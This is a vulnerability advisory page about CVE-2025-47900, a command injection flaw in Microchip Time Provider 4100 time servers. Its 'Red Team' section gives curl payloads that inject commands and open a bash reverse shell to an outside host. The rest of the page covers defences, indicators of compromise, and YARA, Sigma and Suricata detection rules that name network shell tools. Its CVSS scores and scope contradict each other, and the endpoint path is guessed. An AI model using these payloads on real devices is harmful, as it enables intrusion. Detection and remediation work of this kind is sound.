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CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-47900

CVE-2025-47900 OS Command Injection in Microchip
📅 PUBLISHED: 2025-10-20 17:43 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v2.5 — source: Microchip. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.38%
👁️
1.38% probability
34.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47900 is a critical OS Command Injection vulnerability in Microchip Time Provider 4100 appliances running firmware versions prior to 2.5. The flaw resides in improper neutralization of special elements used in an OS command, allowing an authenticated or unauthenticated attacker (depending on attack vector) to execute arbitrary operating system commands on the device. This can lead to full device compromise, network pivoting, and disruption of time synchronization services critical to industrial, financial, and telecom environments.

Given the nature of the device (NTP/PTP time server), exploitation could cascade into broader network attacks, including man-in-the-middle, log manipulation, and denial of service. No public exploit code or proof-of-concept is currently available, but the vulnerability is considered high risk due to the device's privileged network position.

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Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded appliance (Microchip Time Provider 4100). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official CVSS vector published by NVD)
  • Threat Level: Critical (based on CWE-78 OS Command Injection in a network-critical appliance)
  • Attack Vector: Network (likely remote, possibly requiring authentication depending on interface)
  • Attack Complexity: Low
  • Privileges Required: Low (or None if exposed management interface)
  • User Interaction: None
  • Scope: Changed (compromise of device can affect other network components)
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Deep Dive & Mechanics

The vulnerability exists in the web management interface or command-line interface of the Microchip Time Provider 4100. The application fails to sanitize user-supplied input before passing it to an operating system command. This allows an attacker to inject arbitrary commands by including shell metacharacters (e.g., ;, |, &&, `) in input fields such as:

  • NTP server configuration
  • SNMP community strings
  • Diagnostic ping/traceroute tools
  • Firmware update paths
  • User authentication fields

When the device processes these inputs, it constructs a system command without proper escaping, leading to command injection with the privileges of the web server or system process (typically root).

Example vulnerable code pattern (pseudo):

import subprocess
def ping_host(host):
    # Vulnerable: direct concatenation
    cmd = "ping -c 4 " + host
    subprocess.call(cmd, shell=True)

Attack flow:

  1. Attacker identifies a Time Provider 4100 with management interface exposed (e.g., port 80/443, 22, or 161/162 SNMP).
  2. Attacker sends a crafted request with command injection payload in a parameter (e.g., host=127.0.0.1;id).
  3. The device executes the injected command, returning output to the attacker or establishing a reverse shell.

Vulnerable vs. Patched Code

Vulnerable (pre-2.5):

# Example: vulnerable input handling
def execute_diagnostic(command_input):
    # No sanitization
    os.system("ping " + command_input)

Patched (2.5+):

# Example: patched with input validation and parameterized execution
import subprocess
import shlex

def execute_diagnostic(command_input):
    # Validate input against allowed characters
    if not re.match(r'^[a-zA-Z0-9\.\-_]+$', command_input):
        raise ValueError("Invalid input")
    # Use subprocess with list to avoid shell injection
    subprocess.run(["ping", "-c", "4", command_input], check=True)

The patch likely includes:

  • Input whitelisting (only alphanumeric, dots, hyphens, underscores)
  • Use of parameterized system calls (no shell=True)
  • Removal of dangerous diagnostic functions
  • Implementation of proper escaping for any remaining shell usage

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Microchip Time Provider 4100 (firmware < 2.5)
  • Network access to management interface (HTTP/HTTPS/SSH/SNMP)
  • Knowledge of valid credentials (if authentication required)

Exploitation Steps:

  1. Reconnaissance:

    nmap -p 80,443,22,161,162,123 <target_ip>
    
  2. Identify vulnerable endpoint:

    • Try accessing /cgi-bin/diagnostics.cgi or similar
    • Use Burp Suite to intercept and fuzz parameters
  3. Craft injection payload:

    # Example HTTP POST to diagnostic endpoint
    curl -X POST http://<target>/cgi-bin/diagnostics.cgi \
      -d "host=127.0.0.1;id" \
      -H "Content-Type: application/x-www-form-urlencoded"
    
  4. Establish reverse shell:

    # Payload: 127.0.0.1;bash -i >& /dev/tcp/attacker_ip/4444 0>&1
    curl -X POST http://<target>/cgi-bin/diagnostics.cgi \
      -d "host=127.0.0.1;bash -i >%26 /dev/tcp/10.0.0.5/4444 0>%261"
    
  5. Post-exploitation:

    • Dump NTP configuration (potential lateral movement)
    • Extract SNMP community strings
    • Modify time source to perform MITM attacks

Blue Team (Defensive)

Detection & Response:

  1. Monitor for anomalous HTTP requests:

    • Look for shell metacharacters in POST/GET parameters
    • Alert on ;, |, &&, `, $() in diagnostic endpoints
  2. Network segmentation:

    • Isolate Time Provider 4100 management interfaces to trusted admin VLANs
    • Block inbound access from untrusted networks to ports 80/443/22/161/162
  3. Honeypot deployment:

    • Deploy fake Time Provider 4100 to capture exploitation attempts
  4. Log analysis:

    # Search for command injection patterns in web logs
    grep -E '(;|\||`|\$\(|&&)' /var/log/httpd/access_log
    
  5. Immediate containment:

    • Disable remote management if not required
    • Apply firewall rules to restrict access to management interfaces
    • Upgrade to firmware version 2.5 or later

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing shell metacharacters in parameters (e.g., host=127.0.0.1;id)
  • Outbound connections from Time Provider 4100 to unusual IPs/ports (reverse shell)
  • SNMP GET/SET requests with suspicious community strings

Host IOCs:

  • Unexpected processes running (e.g., /bin/sh, bash, nc, python)
  • Modified system binaries in /usr/bin or /sbin
  • New cron jobs or startup scripts
  • Unusual files in /tmp (e.g., /tmp/.revshell)

Log IOCs:

  • Web server logs showing 400 or 500 errors with injection patterns
  • System logs showing execution of commands like id, whoami, uname -a
  • SNMP logs with invalid community strings

File IOCs:

  • Hashes of known malicious payloads (if discovered)
  • Modified configuration files (/etc/ntp.conf, /etc/snmp/snmpd.conf)

Detection Engineering

YARA Rule

rule CVE_2025_47900_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Microchip Time Provider 4100"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47900"
        severity = "critical"
    strings:
        $injection1 = /[;&|`$()]/
        $injection2 = /bash -i/
        $injection3 = /nc -e/
        $injection4 = /python -c/
        $injection5 = /perl -e/
        $injection6 = /wget.*-O/
        $injection7 = /curl.*-o/
    condition:
        any of ($injection*) and (
            // Look for these patterns in HTTP request bodies or URLs
            // Adjust filetype as needed (e.g., access_log, pcap)
            filesize < 10MB and
            #injection1 > 2
        )
}

Sigma Rule

title: CVE-2025-47900 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Microchip Time Provider 4100
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47900
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields (rare)
level: high
tags:
    - attack.t1190
    - cve.2025.47900

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2025-47900 Microchip Time Provider 4100 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/diagnostics.cgi"; http_uri;
    pcre:"/(;|\||\&\&|`|\$\().*id|whoami|uname|bash|nc|python|perl|wget|curl/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-47900;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade firmware to version 2.5 or later (contact Microchip support for patch availability).
  2. Disable remote management interfaces if not required for operations.
  3. Restrict network access to management interfaces using firewall rules (allow only trusted IPs).
  4. Change default credentials immediately and enforce strong passwords.

Long-term Measures:

  1. Implement network segmentation – place Time Provider 4100 in a dedicated management VLAN.
  2. Enable logging and monitoring – forward logs to SIEM and alert on suspicious patterns.
  3. Conduct regular vulnerability scans of all network appliances.
  4. Apply principle of least privilege – disable unnecessary services (e.g., SNMP, HTTP if not needed).
  5. Use a Web Application Firewall (WAF) to filter command injection payloads.

Workaround (if patch unavailable):

  • Disable the diagnostic web interface entirely.
  • Use SSH key-based authentication only and disable password-based login.
  • Implement strict input validation at the network perimeter (e.g., reverse proxy).

Valters IT

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